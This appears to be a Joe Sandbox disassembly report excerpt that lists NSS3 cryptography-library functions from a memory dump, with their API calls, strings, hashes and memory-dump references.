Opcode ID: a23391d4029a218dceb89a97ae4c30838505d9e8f4565636e436db8f25c59142
Instruction ID: 6cc99f3f96835e36a3842e38dbccfbbc39e75a7b2618fe5d60c65423070442a6
Opcode Fuzzy Hash: a23391d4029a218dceb89a97ae4c30838505d9e8f4565636e436db8f25c59142
Instruction Fuzzy Hash: 75F107B5A012158FDB54CF18C884B86BBF4FF09308F2582AAD8089F746D775DA85CFA1

Function 6CEC0C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,l), ref: 6CEC0C81

Part of subcall function 6CEABE30: SECOID_FindOID_Util.NSS3(6CE6311B,00000000,?,6CE6311B,?), ref: 6CEABE44

Part of subcall function 6CE98500: SECOID_GetAlgorithmTag_Util.NSS3(6CE995DC,00000000,00000000,00000000,?,6CE995DC,00000000,00000000,?,6CE77F4A,00000000,?,00000000,00000000), ref: 6CE98517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEC0CC4

Part of subcall function 6CEAFAB0: free.MOZGLUE(?,-00000001,?,?,6CE4F673,00000000,00000000), ref: 6CEAFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CEC0CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6CEC0D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6CEC0D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6CEC0D7D
free.MOZGLUE(00000000), ref: 6CEC0DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEC0DC1
free.MOZGLUE(00000000), ref: 6CEC0DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEC0E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CEC0E0F

Part of subcall function 6CE995C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CE77F4A,00000000,?,00000000,00000000), ref: 6CE995E0
Part of subcall function 6CE995C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CE77F4A,00000000,?,00000000,00000000), ref: 6CE995F5
Part of subcall function 6CE995C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CE99609
Part of subcall function 6CE995C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CE9961D
Part of subcall function 6CE995C0: PK11_GetInternalSlot.NSS3 ref: 6CE9970B
Part of subcall function 6CE995C0: PK11_FreeSymKey.NSS3(00000000), ref: 6CE99756
Part of subcall function 6CE995C0: PK11_GetIVLength.NSS3(?), ref: 6CE99767
Part of subcall function 6CE995C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6CE9977E
Part of subcall function 6CE995C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE9978E

Strings

*,l, xrefs: 6CEC0DCC
*,l, xrefs: 6CEC0C69, 6CEC0DE0, 6CEC0C80, 6CEC0C8B, 6CEC0CAF
-$l, xrefs: 6CEC0C64

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,l$*,l$-$l
API String ID: 3136566230-2303401061
Opcode ID: 6401dc453933df0947d9604f729de0e89b33209643d93ab2aac790951691326f
Instruction ID: 16d521d8e60b2b68e9fb36c137ac29ddfa77750d2d5331b993071490982295a8
Opcode Fuzzy Hash: 6401dc453933df0947d9604f729de0e89b33209643d93ab2aac790951691326f
Instruction Fuzzy Hash: EF41B3F5E01245AFEB009F64ED45BEF7A74AF0531CF204028E9296B741E735AA14CBE2

Function 6CEB5CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6CEB5EC0,00000000,?,?), ref: 6CEB5CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6CEB5CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CEB5CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CEB5D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6CEB5EC0,00000000,?,?), ref: 6CEB5D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6CEB5D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB5D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB5D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6CEB5D80

Strings

dbm:, xrefs: 6CEB5D03, 6CEB5D60
multiaccess:, xrefs: 6CEB5CB8
sql:, xrefs: 6CEB5CD1, 6CEB5D36
extern:, xrefs: 6CEB5CEA, 6CEB5D4B
NSS_DEFAULT_DB_TYPE, xrefs: 6CEB5D1A

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: c3bdaba7450d904e5ce3c6ca6505b2858f1cdb453d5a1b1dbe9a57b7c8a69375
Instruction ID: 92abd606e0b703d419fbb70ada23533e100967aa4afef300ef196257b5616966
Opcode Fuzzy Hash: c3bdaba7450d904e5ce3c6ca6505b2858f1cdb453d5a1b1dbe9a57b7c8a69375
Instruction Fuzzy Hash: 3D3108A0B433419BFB401A28DD89BBB7778AF0224CF344231EE55F6B81E772D911C695

Function 6CEB6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6CF81DE0,?), ref: 6CEB6CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEB6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6CEB6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6CEB6D82
DER_GetInteger_Util.NSS3(?), ref: 6CEB6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEB6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6CEB6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6CEB6F19
PK11_DigestBegin.NSS3(00000000), ref: 6CEB6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6CEB6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CEB7011
PK11_FreeSymKey.NSS3(00000000), ref: 6CEB7033
free.MOZGLUE(?), ref: 6CEB703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6CEB7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CEB7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6CEB70AF

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 78910c248685a41faa6d969a92e5fa1fab32082ea3ef71f3f5a17474c1777262
Instruction ID: 8e879caf32bb083958ee96d8c0163c5119e0f7b97311e773a68165c347dacd72
Opcode Fuzzy Hash: 78910c248685a41faa6d969a92e5fa1fab32082ea3ef71f3f5a17474c1777262
Instruction Fuzzy Hash: 83A106719142019BEB089F24DE82B7A32B8DB8130CF34493DF919EBB91E735D9458793

Function 6CE7AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CE5AB95,00000000,?,00000000,00000000,00000000), ref: 6CE7AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6CE5AB95,00000000,?,00000000,00000000,00000000), ref: 6CE7AF39
PR_Unlock.NSS3(?,?,?,6CE5AB95,00000000,?,00000000,00000000,00000000), ref: 6CE7AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6CE5AB95,00000000,?,00000000,00000000,00000000), ref: 6CE7AF69
TlsGetValue.KERNEL32 ref: 6CE7B06B
EnterCriticalSection.KERNEL32(?), ref: 6CE7B083
PR_Unlock.NSS3(?), ref: 6CE7B0A4
TlsGetValue.KERNEL32 ref: 6CE7B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6CE7B0D9
PR_Unlock.NSS3 ref: 6CE7B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE7B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE7B182

Part of subcall function 6CEAFAB0: free.MOZGLUE(?,-00000001,?,?,6CE4F673,00000000,00000000), ref: 6CEAFAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CE7B177

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6CE5AB95,00000000,?,00000000,00000000,00000000), ref: 6CE7B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6CE5AB95,00000000,?,00000000,00000000,00000000), ref: 6CE7B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6CE5AB95,00000000,?,00000000,00000000,00000000), ref: 6CE7B1C2

Part of subcall function 6CEA1560: TlsGetValue.KERNEL32(00000000,?,6CE70844,?), ref: 6CEA157A
Part of subcall function 6CEA1560: EnterCriticalSection.KERNEL32(?,?,?,6CE70844,?), ref: 6CEA158F
Part of subcall function 6CEA1560: PR_Unlock.NSS3(?,?,?,?,6CE70844,?), ref: 6CEA15B2

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: e29c4b5bb6d6758e2423f4201de0e06c154844596c7b4cfa590ab10ff7b60690
Instruction ID: cc59595d2b9acefa6286fac82cfefc325974dcab8797e6d1bfb533229eef69fb
Opcode Fuzzy Hash: e29c4b5bb6d6758e2423f4201de0e06c154844596c7b4cfa590ab10ff7b60690
Instruction Fuzzy Hash: 1BA1B2B6E002059FEF109FA4DC81BEEBBB4EF05318F244129E905A7751E732E955CBA1

Function 6CE72C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?l,?,6CE6E477,?,?,?,00000001,00000000,?,?,6CE73F23,?), ref: 6CE72C62
EnterCriticalSection.KERNEL32(0000001C,?,6CE6E477,?,?,?,00000001,00000000,?,?,6CE73F23,?), ref: 6CE72C76
PL_HashTableLookup.NSS3(00000000,?,?,6CE6E477,?,?,?,00000001,00000000,?,?,6CE73F23,?), ref: 6CE72C86
PR_Unlock.NSS3(00000000,?,?,?,?,6CE6E477,?,?,?,00000001,00000000,?,?,6CE73F23,?), ref: 6CE72C93

Part of subcall function 6CEFDD70: TlsGetValue.KERNEL32 ref: 6CEFDD8C
Part of subcall function 6CEFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEFDDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6CE6E477,?,?,?,00000001,00000000,?,?,6CE73F23,?), ref: 6CE72CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6CE6E477,?,?,?,00000001,00000000,?,?,6CE73F23,?), ref: 6CE72CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6CE6E477,?,?,?,00000001,00000000,?,?,6CE73F23), ref: 6CE72CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6CE6E477,?,?,?,00000001,00000000,?), ref: 6CE72CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CE6E477,?,?,?,00000001,00000000,?), ref: 6CE72D4D
EnterCriticalSection.KERNEL32(?), ref: 6CE72D61
PL_HashTableLookup.NSS3(?,?), ref: 6CE72D71
PR_Unlock.NSS3(?), ref: 6CE72D7E

Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407AD
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407CD
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407D6
Part of subcall function 6CE407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDD204A), ref: 6CE407E4
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,6CDD204A), ref: 6CE40864
Part of subcall function 6CE407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE40880
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,6CDD204A), ref: 6CE408CB
Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(?,?,6CDD204A), ref: 6CE408D7
Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(?,?,6CDD204A), ref: 6CE408FB

Strings

#?l, xrefs: 6CE72C43

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?l
API String ID: 2446853827-1190849705
Opcode ID: 9234dff8178d1f05ea7f8394097afc3f2c1d841348decba3d63a012c469175b9
Instruction ID: 7fdfff300d5113689945ed18475aca1a8a3716782358e40d25cbad4e60076fd5
Opcode Fuzzy Hash: 9234dff8178d1f05ea7f8394097afc3f2c1d841348decba3d63a012c469175b9
Instruction Fuzzy Hash: 7B5117B5D00605EBDB109F24EC449AAB7B4FF2935CB248524ED1897B12F732E964C7E1

Function 6CECAD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CECADB1

Part of subcall function 6CEABE30: SECOID_FindOID_Util.NSS3(6CE6311B,00000000,?,6CE6311B,?), ref: 6CEABE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CECADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CECAE08

Part of subcall function 6CEAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF818D0,?), ref: 6CEAB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CECAE25
PL_FreeArenaPool.NSS3 ref: 6CECAE63
PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CECAE4D

Part of subcall function 6CDD4C70: TlsGetValue.KERNEL32(?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4C97
Part of subcall function 6CDD4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4CB0
Part of subcall function 6CDD4C70: PR_Unlock.NSS3(?,?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CECAE93
PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CECAECC
PL_FreeArenaPool.NSS3 ref: 6CECAEDE
PL_FinishArenaPool.NSS3 ref: 6CECAEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CECAEF5
PL_FinishArenaPool.NSS3 ref: 6CECAF16

Strings

security, xrefs: 6CECADEE

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 8b24f57e8d0348525b3a9c124af392f3f017fa61a47d0e940233111a50a08e7c
Instruction ID: 1ea5af73380a826b8ffa49130d4db5f26bbd8ddf9aa67d67d2f253a44201de3d
Opcode Fuzzy Hash: 8b24f57e8d0348525b3a9c124af392f3f017fa61a47d0e940233111a50a08e7c
Instruction Fuzzy Hash: AC412BB1E842046BE7215B14ED85BBA32B8AF4231CF340529E834A6F41F7359989C7D7

Function 6CF6AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF19890: TlsGetValue.KERNEL32(?,?,?,6CF197EB), ref: 6CF1989E

EnterCriticalSection.KERNEL32(?), ref: 6CF6AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6CF6AFCE
PR_SetPollableEvent.NSS3(?), ref: 6CF6AFD9
EnterCriticalSection.KERNEL32(?), ref: 6CF6AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6CF6B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6CF6B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6CF6B070
PR_JoinThread.NSS3(?), ref: 6CF6B07B
free.MOZGLUE(?), ref: 6CF6B084
EnterCriticalSection.KERNEL32(?), ref: 6CF6B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6CF6B0C4
PR_JoinThread.NSS3(?), ref: 6CF6B0F3
free.MOZGLUE(?), ref: 6CF6B0FC
PR_JoinThread.NSS3(?), ref: 6CF6B137
free.MOZGLUE(?), ref: 6CF6B140

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 3232ab289dcc6c1655a2240c7f1681e3b8684c8747ffd2f56aef7e41cfa0962b
Instruction ID: a93ca0976870149a947e6ae7e6bec05aaa08e7afe47ea0751fcb59cf355793ed
Opcode Fuzzy Hash: 3232ab289dcc6c1655a2240c7f1681e3b8684c8747ffd2f56aef7e41cfa0962b
Instruction Fuzzy Hash: 3C915DB6900601DFCB04DF25D88095ABBF1FF4931872985A9D8195BF22EB32FD46CB91

Function 6CEE5CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6CEE2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CEE2A28,00000060,00000001), ref: 6CEE2BF0
Part of subcall function 6CEE2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CEE2A28,00000060,00000001), ref: 6CEE2C07
Part of subcall function 6CEE2BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6CEE2A28,00000060,00000001), ref: 6CEE2C1E
Part of subcall function 6CEE2BE0: free.MOZGLUE(?,00000000,00000000,?,6CEE2A28,00000060,00000001), ref: 6CEE2C4A

free.MOZGLUE(?,?,6CEEAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5D0F
free.MOZGLUE(?,?,?,6CEEAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5D4E
free.MOZGLUE(?,?,?,6CEEAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5D62
free.MOZGLUE(?,?,?,?,6CEEAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5D85
free.MOZGLUE(?,?,?,?,6CEEAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5D99
free.MOZGLUE(?,?,?,?,6CEEAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6CEEAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6CEEAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CEE5E3E
free.MOZGLUE(?,?,?,?,?,?,6CEEAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CEE5E47
free.MOZGLUE(?,?,?,?,6CEEAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6CEEAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CEE5E78
free.MOZGLUE(?,?,?,?,?,?,?,6CEEAAD4), ref: 6CEE5EB9
free.MOZGLUE(?,?,?,?,?,?,?,6CEEAAD4), ref: 6CEE5EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6CEEAAD4), ref: 6CEE5F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CEEAAD4), ref: 6CEE5F4B

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: 059d469c48a517036ed2c09d9221bdcbacd174495df4404bdfc0210809c04402
Instruction ID: 14b35b45dedffc4a2195db3f6240fde02e8f3e5580e04c538f99035b0a7e4558
Opcode Fuzzy Hash: 059d469c48a517036ed2c09d9221bdcbacd174495df4404bdfc0210809c04402
Instruction Fuzzy Hash: D471AEB4A01B01DFD700CF64D884AA7B7B5BF89348F248529E81E87B11EB32F955CB91

Function 6CE68DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6CE68E22
EnterCriticalSection.KERNEL32(?), ref: 6CE68E36
memset.VCRUNTIME140(?,00000000,?), ref: 6CE68E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6CE68E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CE68E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CE68EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6CE68EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CE68EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6CE68F00
free.MOZGLUE(?), ref: 6CE68F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6CE68F39
memset.VCRUNTIME140(?,00000000,?), ref: 6CE68F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6CE68F5B
PR_Unlock.NSS3(?), ref: 6CE68F72
PR_Unlock.NSS3(?), ref: 6CE68F82

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
